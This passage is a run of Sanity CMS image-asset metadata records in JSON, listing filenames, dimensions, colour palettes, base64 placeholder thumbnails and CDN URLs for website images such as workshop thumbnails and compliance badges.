test.png","path":"images/sczeoy4w/production/40f40f31b6c05653f43c6c966444f654836066e6-1920x1080.png","sha1hash":"40f40f31b6c05653f43c6c966444f654836066e6","size":16909,"uploadId":"1azJgMhM5nIUA6M9ak72Yr4hgxROzB5F","url":"https://cdn.sanity.io/images/sczeoy4w/production/40f40f31b6c05653f43c6c966444f654836066e6-1920x1080.png"} {"_createdAt":"2023-09-27T07:41:40Z","_id":"image-73eabac8796e1e84039e4f030755d039f50f13f5-6000x3375-png","_rev":"at0vUoorYfznPLdEXxoSby","_type":"sanity.imageAsset","_updatedAt":"2023-09-27T07:41:40Z","assetId":"73eabac8796e1e84039e4f030755d039f50f13f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M66*hN?7Mv%0sjyGtRRhIvR*9aR*t7IoR.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACoElEQVQokV3T/28SSRjHcf6CEwrdXZZlv7IsCyjFWj2ktUKJolHvKjah2jZYsFAoKLVFwZ5Fqnfpqbk/+X3ZpT/5w5NMJpPXfOaZmUA4toVq72FnWzi5Dk6uh5MbkMof494c4d4ck7gxxshMMDKf0dJTlNQXYsnPSNYpgvGWRa1LRG0j6H0Ckr5NbuWQtY1TiuURd0sfKVXP2Xj8ldKjb9x78DfFyj+sV3+wXv2PfPFfjOxXYs450cQHRGPIonZERD1kUesRkM1XFNaHPK1Nqf5xTvXZjM36dzbrP3nw7JJC+YKVexcUypcUKz/JFS59UHGmyPYYyXyPoHspe/OEolYnd7vLWuWUu6URqxsTSo+m3H8449bqX5jZU5TkCfHUR1T3DNU9vzqyl3CMZJ4gGu8Q9AGi+Z7AgvwC293lRr5JIt1ETx1gpHsY6T7x5ADR8OoduntCJj8itXSGnp4SS06IWsdI5gBBP/LLB4V4jcraPi8fH7Gcb6EmW+huF9U5ImrNFyrJIeXKhF5zys72BcvFGcmlCVZ2gJ7qIFttBK1zdSnaC2oP2/S3hqyuHGC4B9jX+1iZgZ/QB+0+T56M+XIyo9++4Pf1M9zlTzhLx5iZQ+J2B8nozsGIXONWbofSnSaO00DUGkhGC8loIxpdFrVDBL1NOtejUn5LodhHT3WJ2UNiiQGi/gZR78xbYx4TCIub2FqNrLuHnXlD1NwnrLwmrLSIqB2/vLE3J6gNIsoeC7EGEdXbrEc4fuC/Qw+LWh888E905Tm2vYOVbiFbzV/ANguxfULyHsHoLkHpJcHoKyI+5PW4P8cSY/+xB34TNgkKzwlJW4TkbULyrp8gHL8C4x7YICTv+FBQqnNNqhNWmv4vkawRsn2G4syIu9/4H3lyfN0USHEjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392c5f","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc1cb","foreground":"#000","population":6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919ae7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a92","foreground":"#fff","population":1.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b257f","foreground":"#fff","population":11.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"learn-apache-kafka-with-python-workshop video-thumbnail.png","path":"images/sczeoy4w/production/73eabac8796e1e84039e4f030755d039f50f13f5-6000x3375.png","sha1hash":"73eabac8796e1e84039e4f030755d039f50f13f5","size":1636441,"uploadId":"5J77bwkPQBrJpw6jpsctyz4SY8yw5LVQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/73eabac8796e1e84039e4f030755d039f50f13f5-6000x3375.png"} {"_createdAt":"2023-10-04T14:20:53Z","_id":"image-6e11ad8a804ce3c7931653c30af256ccdd1647b3-40x40-svg","_rev":"46Ky6Oj1Dro85iJlEnjBSk","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:20:53Z","assetId":"6e11ad8a804ce3c7931653c30af256ccdd1647b3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRQ9_]og~qt7WE%MayxuofIU?bfkD%ayayIUofM{WB%M_4ayD%j[M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEYElEQVQ4jYWV21MadxTH+SsSuagQQBZ3EZCLiiJra6hxBFRqEKIxExpJdMEWo0EHb5OCVTN90YfO+BCnTcg4Tjt9Mm92ps/p1NTYtC9JUFuVO8olysJ2Dkrr2DZ5OJzf73DOZw/8zu+7tFf+kNW/HbZv7YQd2zsRAmxrJ79/j53kbp/kO4Dx2h+y0mCxux9viMaSWMFi8RQWP0hjB4dv0WSKRBPJYxRi4FNpEoX42fxoLIkBA1g0oEOAoqgLFEUVURR1MZVKFkXCIXogsE/f2PiF9ftvL5mJxCH9zZvXzPX1n1nhcIgOeadWBLXAABYNWj4FFuVyFDOVSjF9vidlDseAsrv7er1Op/uoq6ur3u12Szs7zXhzc/MVh8OhfPbsJzZFUYzjDMmCWmAA6ywQnsYIBoNMm81WJRaLb/B4vE/ZbPY9FEV75XK5RSgU3hYIBP1SqbR7eHi4kiRJRi6XY0Dt/wL39vZYHR0dOJfL/ay0tHS0uLh4HDyABQIBIZFIriMI0gc58XicCTXvBAYCAZbFYlFDEZ/Pd7DZbBeLxZrkcDjDfD5/AEGEd6Bjq9Vak06nGe8FJhIJxszMDKbX6RobGhp0MpnMolQqTS0tLZfV6ro2uUxm0ev1jSsrKzyKougkSTLfCYzFYsxvv/uef//+tGRoaERxp89eMzh4T/m5Z0Zyd8il6O8fqJmd+7LixeavJQDMZrP/DcxmSThlxubmyxLXyITS+HGXXt9qMhrazG2G1s52vcFk1Ld2tsO+54at8etvniDwk4+PM/8GxmKpQof0UCjMml/4Cuvrd6o/6SXwW712/BZ4G3g73mtz4K7RSeXaDz9egnzq/H+4tRMm4Ba82Nhgzc8voF6vV7SwsCAcGxuTOJ2D8vHxCYnLNVI5OHhXNj39hQhsampK7PP5+MvLy/yHD5eQ58/XWcAAVr7DYCiOeT0eYX19vRHmD8dxfW1tbTuGodaqqqqrKlWNEcMwa2Vl5TWZTHZNIpH0aDQag1qtbqurq+sYHR0RnQLttO0/IsR+ICLyej1ClUplgvmTy+Xm6urqDi6X61QoFGYo5HA4QyUlJaMwPpADI1VWVmYXCAQDZrO5JhJNnADhIxpNYrOzM4hcLu+G5MLToVuTyaTRarXN5eXlvWDwPdwgmFOxWNyDouhtk8mkCkcOMVCgPBDoBNEvRRDEDl3hOG4AqE6nu+x2uyVNTU1NWq32CtwOkUh0k8fjDahUKqPBYGjUaDTtdoKQAvDvU4bN4uJimdls/sBoNH7odDoVE5OTksePfYK1tbVLc3MPREtLS8jq6iqPIIgqEAmPx1vx6NEjwdzcg4qnT1c5Z08Z5EuUy2YuRKMRxt7unwyQp6Ojt3kpo3LZIpLMnKwp6iLIWCgUpGcyx/kYmcnA6PwjXwWBhVM6TByhyVQmL6jxg3ReRCEOVhBSiENeIVbwu/uxBv92yE4D2fZvnbwCYI7OST3sC7Gz6/M5+VfAK3/w5l9m3ZH/EpzymAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2a34","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ISO27701.svg","path":"images/sczeoy4w/production/6e11ad8a804ce3c7931653c30af256ccdd1647b3-40x40.svg","sha1hash":"6e11ad8a804ce3c7931653c30af256ccdd1647b3","size":5613,"uploadId":"2etfI7Y0fU62pN3Ij5trD1I0UFJmYKSu","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e11ad8a804ce3c7931653c30af256ccdd1647b3-40x40.svg"} {"_createdAt":"2023-10-04T14:25:07Z","_id":"image-b12ca1db663967687d8646d71572901592e96182-40x40-svg","_rev":"IQAT5P6GkWpa3uNjOikBPw","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:25:07Z","assetId":"b12ca1db663967687d8646d71572901592e96182","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSRfkCt7%Mofogj[fQofayj[~qayD%ofM{%Mj@RjofWB00j[%MWBxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC7UlEQVQ4ja2V3U9ScRjH+R90AeecDjsacngVGhgo2aAEzpQLsShWyYDlqES3Jrm2ti6aY8vb1hbLeeWt/QF54a2bC918u3A2XlIwSFDwIJyX9jB15OTC4uK7Pc+zPR+e83teEOzEs4F4MhdKpHJjydTv0X9RIpUbA8aPeDYgAGMvU7Ac5Euq/9FepmABlgDoEOB5/hrP8yKe54VXlAhygQEsAZR8ChQxDIuxLIdeRQzDYpALDGDVA4UMw6IMwyAglmVrqlar5369XScUci8F8jyP8DwvviDRJbFzcRyHNAQWi0V0c3MT39jYwEulEpLL5dDV1VV8e3v7+u7uLhaLxSRra2t4Pp9Hs9ksmk6nMZqm/64wkcqFCoe0MpNJI5FIRDMwMNDndDrvhcPhm8Fg8BZFUXaXy2Xxer09FEU5nE5n3/j4uN7v95uGh4d75ue/SmvAgyI0ZVQQT2ZDxzSjnJn5cqO3t9dFkuSLzs5Or9FodKtUqoBCoRjRarVepVL5DMfxtxKJ5A3ECIIIt7W1Tfh8PjPDVEWFQxqAoRqwfMIpwuEJjVqtHtFoND6bzUbpdLqn7e3tr4xG4wOr1eqUSqVjQqFwGkXR9xiGvWtpafnU2tr6sbu7++HCwjcJXWaVieQpEJxIJCLX6w1P5HJ5sKur65Fer3/c0dExCj9gMBg8MpnsJUEQr6F6kiSfi8XiKQRBprRarX96+gMJRQGr9oZHxRNlLPYdCwQCPQAzmUz33W73HXgzgJnNZpfdbqcGBwetk5OTOo/Hc9vhcDj6+/ttQ0NDd6PRz9LDo7Ky9snwkPn8ca3L6+vrktnZWRloeXlZsri4SESjUXJubk4KNnR4f38fXVlZkUD3t7a28KWlJeLnzyRyuimXzqHowuxd9C8KaTiH1WoVLZfLCAi2olKpIDRN13ywIXa2MWeqVCqNNwV2Eya/keo2A+E4EIdATiNgc45Dotnnq0kHVr2XyVtqcwhnu1l/ATvxX/4/vjsqakgGL+YAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2a34","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d3d47","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7c1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767688","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"CCPA.svg","path":"images/sczeoy4w/production/b12ca1db663967687d8646d71572901592e96182-40x40.svg","sha1hash":"b12ca1db663967687d8646d71572901592e96182","size":3810,"uploadId":"0F6nqjPY4dUOmkxlqOZXMeGrSmXPbvjK","url":"https://cdn.sanity.io/images/sczeoy4w/production/b12ca1db663967687d8646d71572901592e96182-40x40.svg"} {"_createdAt":"2023-10-04T14:35:45Z","_id":"image-8f945b8642bae3237b3014044472cd03a12fc969-1200x800-png","_rev":"UviFzP5GFpfXiVTG9nklo2","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:35:45Z","assetId":"8f945b8642bae3237b3014044472cd03a12fc969","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VeH1xoxaIUIUS4~Bt7RjNFflx]M|t7t6e.g3flR*oes:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":800,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQokQEZA+b8AIxVP6mEc7ygksWrn862rdXAuNvHv97Ivt7IutjJucu+rr2rl7efib2okb6rlbynkb2pk76slr2smbutnACMUTucdWOninyxlIi/pJjNtavXwbfcwLTauKjNuKm3q5yumIW0knqvkXmigGikclardlmvf2S3ln/BsJ4AhEMqkmNPm3tspIZ4tZaJyKyf1ryw2Lao0KOSxqydurCjqZiIoINvkHRggFdBjkYmoUoipFErrnVYvaiVAH81GpBWP553ZqiFdbaSgsiml9a3qNWxoMCVg7ifkbGpn4Z9c2ZXTVtLQlg9MXo8IJ1HHJRDHIlVO416awB/LxOSTTOpeGK5j3zEmofQqZfbuafUs6KwkYObioGMhH1VTkkzLCoxKik6LSloQCuISylhNBxAKh48My0AeDIbg0cwm2xatYt7x56M1q2b4Lyq2LursZ6TlIuEhHlwWkxFMiknJiEiNispZ0s5c082OScbGhQRGRUUAFo5MVc9N2JNSnljX5F4cauNgsaomc23q7WrpZ+alpqMgodwYk4+NyUfHy0kI1lEOGVOPDInHxcTEBgUEwA/Oj08OT09OkFFQkhTTVJpXl+JeXaglJCcmJeQjoyXjYaPfG9VRT4gGxwbGBpAMy5cSDs1KiMXExEWEhEAPDo/PTtBPTxDPj9GRkVMUk9VZV5ieHByfHh5enZ0hXx2fnNpS0VEHyEqFhslMS8zSj45LiUgFhEQFREQAEM+QkZBRUhESUhFS01KT1RPVF5YXGljZXFra3Vubn10cXdwa1ZXWzA7Sx0pPC41QUI/QDArKR8bGiIeHAA6NjlDPkBMRklPSU1RS09STVFWUFVeWFxkX2JnYGRqY2ZrZWZkYmdNUl8zPExDR1FgXF1VT044NDI8OTUAJyQnLisuOzc6RUBETEZKUEpPUUtQUUxSUExST0tST0tSU05UWlVZXFlfYF9mfnp8l4+LenJvSURBSEdBACMfIx0bICUjKDQwNUE8QEtFSlFLT0tHTUNBSEA+R0A+RkM/R0lFS1pUWoF6fLStp8G4sImBe05JRVBOSAbJPnCK3rdxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4140","foreground":"#fff","population":5.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e2b0c","foreground":"#fff","population":1.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a48979","foreground":"#fff","population":7.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3baaa","foreground":"#000","population":7.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c6ab","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48979","foreground":"#fff","population":7.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c76a31","foreground":"#fff","population":0.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DSC00066_resize.png","path":"images/sczeoy4w/production/8f945b8642bae3237b3014044472cd03a12fc969-1200x800.png","sha1hash":"8f945b8642bae3237b3014044472cd03a12fc969","size":1283706,"uploadId":"2HL1nEzKoi29WOuYbYzb2ILdRo2R5s4B","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f945b8642bae3237b3014044472cd03a12fc969-1200x800.png"} {"_createdAt":"2024-06-27T14:52:17Z","_id":"image-ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628-png","_rev":"eksQ0uttcr8BeSzSsWuG3G","_type":"sanity.imageAsset","_updatedAt":"2024-06-27T14:52:17Z","assetId":"ce3c3156538fd01b4b7c4db0c7bb350590fcb050","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M284o[_Bm~R20Y^#EV_3?ZOc00RK_4%QM[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClklEQVQokR2Sa1MSCwBA+QV35o6gIiwPee2yBEKwCJYygovsuqKE+Giauo5lXm+UGcbDhTAwuNW9Otanfuxp5MP5embOzLHMuA7Qt3ucXfyiejDCIx7zp/0FU84jrMIJNvcbpj1nzMx/wO5rMRcwcYkmsWSTktpkvXhJVOkiiJfY/S0sNmGPNb3NSf0n5Z0h3vBrrMIh0+5jZr2n2H3vmPOf4wheIIQ6uKUuUvwcNX/I6f4RjaMGuwdDotkBjqCJZcqxSzJbZ7N6RUE3WUi/R354RiTZIJZuE8/2iGf7JB4NSCyNWMh8Zjlfp6yVqal5XtVqvHzZ4vH6EFf4CovVuUc0dUq+1GZNN8lrXQr6FapxTWnrK3rlf7TKDdqTO1a1W9K5a4r6W9bVIglZ5lFqCcP4C2Wlgycyuk/eJ57+h4LeQTW6FI0+2vY1RvVfyjv/Ua7dsrX3g/LuT3KlG2KZIenl96SUEl6XhBhaJLX4DCnRwi2PsUwL+ySydVTDnAhVo09pa8hGZczGk+8Y1Rs2a3ds7Pwgr98Sz44R4yYB+RCXV8MTqOCPnOKWOjjFz1hs98nJE1YKF+TUFrniJXmtP0kubo4pbn5jVftKZnVManlMdHFMRBmzkPlCVDEJxpp45Q4uyUQQe1is9iph8RmK8jfJ7DsSmXNW1C7a9oi89oXs6oCI0sUrt3FLl/geXLGQ/cZS4Q5l5TtyaoA/2mM+YuIOd7FMzVTwu6rI0nOCD47xya9RHjdZ0wcs5j4hxVsIoQazvsbkM2eoRyB2TTg5IhD7hFtqI4SaOEMtnGIXyx+2CvdSm2MXm/AUq/Ach+8VHvENQrCOff4tM/NnE+Gcv4Uj2MUZ6uMI9rD7Pk6Gv2fWd4Ej1OM39it0hEEFZE8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a76","foreground":"#fff","population":2.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041967","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0c2dd","foreground":"#000","population":9.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c2dd","foreground":"#000","population":9.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7980c3","foreground":"#fff","population":0.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d92","foreground":"#fff","population":1.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7414a","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Diogo2.png","path":"images/sczeoy4w/production/ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628.png","sha1hash":"ce3c3156538fd01b4b7c4db0c7bb350590fcb050","size":321936,"uploadId":"cRERmoTARzUdAs7YKLO5JP3bArjZI9QA","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628.png"} {"_createdAt":"2023-10-18T12:48:12Z","_id":"image-b189a67f472add2d32659b0779de6db0c915be42-1200x628-jpg","_rev":"zE08g5Yj02ino50zLcSbXi","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T12:48:12Z","assetId":"b189a67f472add2d32659b0779de6db0c915be42","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M99G@64:Rf~B02Oc%KnzE4%L01?FoL9u?G","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBBAYH/8QAIRAAAwACAQMFAAAAAAAAAAAAAQIDAAQFBiExERMiQVH/xAAWAQEBAQAAAAAAAAAAAAAAAAACBAb/xAAbEQABBQEBAAAAAAAAAAAAAAABAAIREiETkf/aAAwDAQACEQMRAD8A4vrX4xdOYpJnqB3A7d8fdK8FrdUbt9eDDWE5FvRm8nMeCfZnkTrSNmaVHm36rEHNI63M0MH1TQLar3La+lDepKBZ1T4lifJ+8MT1JNGJJJwxtdUAHUSJMr//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2b63","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7c4ac","foreground":"#000","population":10.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c4ac","foreground":"#000","population":10.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a7dc3","foreground":"#fff","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6f8f","foreground":"#fff","population":1.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#649be8","foreground":"#fff","population":1.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idc-whitepaper-meta-preview.jpg","path":"images/sczeoy4w/production/b189a67f472add2d32659b0779de6db0c915be42-1200x628.jpg","sha1hash":"b189a67f472add2d32659b0779de6db0c915be42","size":65992,"uploadId":"JZOP4fIBj05bSVOZF4QIYfJM8nXlMBeL","url":"https://cdn.sanity.io/images/sczeoy4w/production/b189a67f472add2d32659b0779de6db0c915be42-1200x628.jpg"} {"_createdAt":"2023-10-27T11:55:54Z","_id":"image-389e83f96d1705a685fae6504969e090e6b04abd-6000x3375-png","_rev":"1h5Wm5PSHuci3kB9Xs074c","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T11:55:54Z","assetId":"389e83f96d1705a685fae6504969e090e6b04abd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCAl^|1Y##$T5Q-@Nr#kFhroIVW9jdt6bI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAAC4ElEQVQokVXPW0+aBwCAYf5A14oKCF/x8HFo5VQBwXJQTn58oIIKeEBprQWqTcVCZXio1KKuTZluXcy2ZM2ymyW7WLOLtUuaXS292pJd9ve8zeq2bH/gyfsqOjUZ9IYlTLYiV67dZdBZweKqYnbU6LtyH8FYRTBtoTM10Jn2sHo/Z3r5Dasbf7Be+Iaz+TTfz/upjN9myNVGodYvYnevE4jWCUQb+CM7BGP7BMcPCMYO8UWO8IaOsXtbiLYD3GNfk7/zlureO063XvBbKcjvGRNnY2kmnE0Umr4lXL4K0eQu0eRDIokmsYkW8dQnJGfaJKZPkFKnjEptXMFnjCa+JV9+y+buO57Wf+Cnm2neSHZeeGTKjhoKdW+eoZF7hKRtYhP7yOkWieljUrk2U9kT5PQJkeSnhJMnhBLPiaW+I7vyK+Xqn1Qrv9C6scdXi3N8NlOgHNg+B6957xGKbyNNNpGmHhNPHZGea5PKnRKWn+IYOeCq6xFWzzHD4S9J5F6yuPoj5dUvqK3UeXynzG6pSkp6gqJLWMBsL+H2b+IJPsDl38IdaOCLNAlEWzh9j+i3NOgR6wimXYbcRyTlY5JSmXhQIh2OkE3ITMo3cV4/RPGRKotSO49Kn0fdW0DTf4uegRI6w10umyoIxho9Yg31QB29sUHCucZeWGbzuoVJqwHZZSM+MozXncLseIjiQvcsHapZlJocSl0epbZAh3YFpa5I1+U1uns3UPdXP4C9xo9Zdi7wc8zI62gP+34rN8ZGyI56CQxPnYNK1QyikOGquYDBUkIr3qZTuEWXUKJbv466r/I/cGFoiZcRO69iFvZDITJj40R9YVzOBYyOw3OwX5jFbFrGMFj8F+wUih9A1X/Av5ZDtjU2PBk2vHOkPUW8niI2ZxGzo4HoOD1fvqjKcEmTo0O7SIe2gFK3Quffhf+AGrGOzrCDaN7BMriDxdLEbD3CYHuCaH/GgP05A/Yz3gP81p7ih+/g6gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#26263c","foreground":"#fff","population":4.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c74","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c95f3e","foreground":"#fff","population":9.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e5eaf3","foreground":"#000","population":3.75,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a75d3","foreground":"#fff","population":5.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca8","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c95f3e","foreground":"#fff","population":9.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5.png","path":"images/sczeoy4w/production/389e83f96d1705a685fae6504969e090e6b04abd-6000x3375.png","sha1hash":"389e83f96d1705a685fae6504969e090e6b04abd","size":3818342,"uploadId":"hdlMiEMEsV9ZrykqmXiA8PHb1KBUBYAd","url":"https://cdn.sanity.io/images/sczeoy4w/production/389e83f96d1705a685fae6504969e090e6b04abd-6000x3375.png"} {"_createdAt":"2023-10-27T11:56:30Z","_id":"image-0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567-png","_rev":"Hl0n8vwXwRlkg63bguYELr","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T11:56:30Z","assetId":"0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKC~-zkDxTRjadyAbcR-R+af~kt7NLM|WBSjt7n~n%jZtSbbWBoeRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1111111111111112,"height":567,"width":630},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEmUlEQVQ4jU3RWVNaBwBA4fvch05m2mYTuQjKJa6JkWhM0nQSE42KBkEWQfady8WL7IIIiE4wzVbN2mztNJOXTrdMpw9t/trpNE/9A9/MmSM0D7rUD5pkGwmKrRR37u/w5t1r/vj7I7/89ZF7Tw4p7+TJb2dRt2QKO3n2H3Z4/nafo6MEnfpt9lsBGrthghkLQrPb4eDwgM63JTp3Ve4/KvPydYvffj/kw4cXPHncpFZPU60m2GmGqbdCbFbDqOUAGwUHudwqta0Q9UaIzaIDIb8l0+kW2dtP0m4H2GkGuXMnxM8/Zfnn1yqvjrJsFf3kUw46ZRsHu06S8m0sqzNYHLP4Ym5yhQjteoDOlhMhIzvIF9dRN52oWSsFdZVWfZ33z1P8+aPMvV0vctxCzH2drfgsj1oONlUrS44ZllwWfDE/pWKcw06MZ50AQsg1h+O2hYWFFaxLdvyuNZRYiHYpRasUJey34bYt4F68Qcq1QLfqo15eIxq3kkh6UDIhdqsJXnUzvGhHEdwLs1wcv4VksjM45OHcmI+L5hBfX4oxNRlldCzI+fEgk+N+rl+JsO5S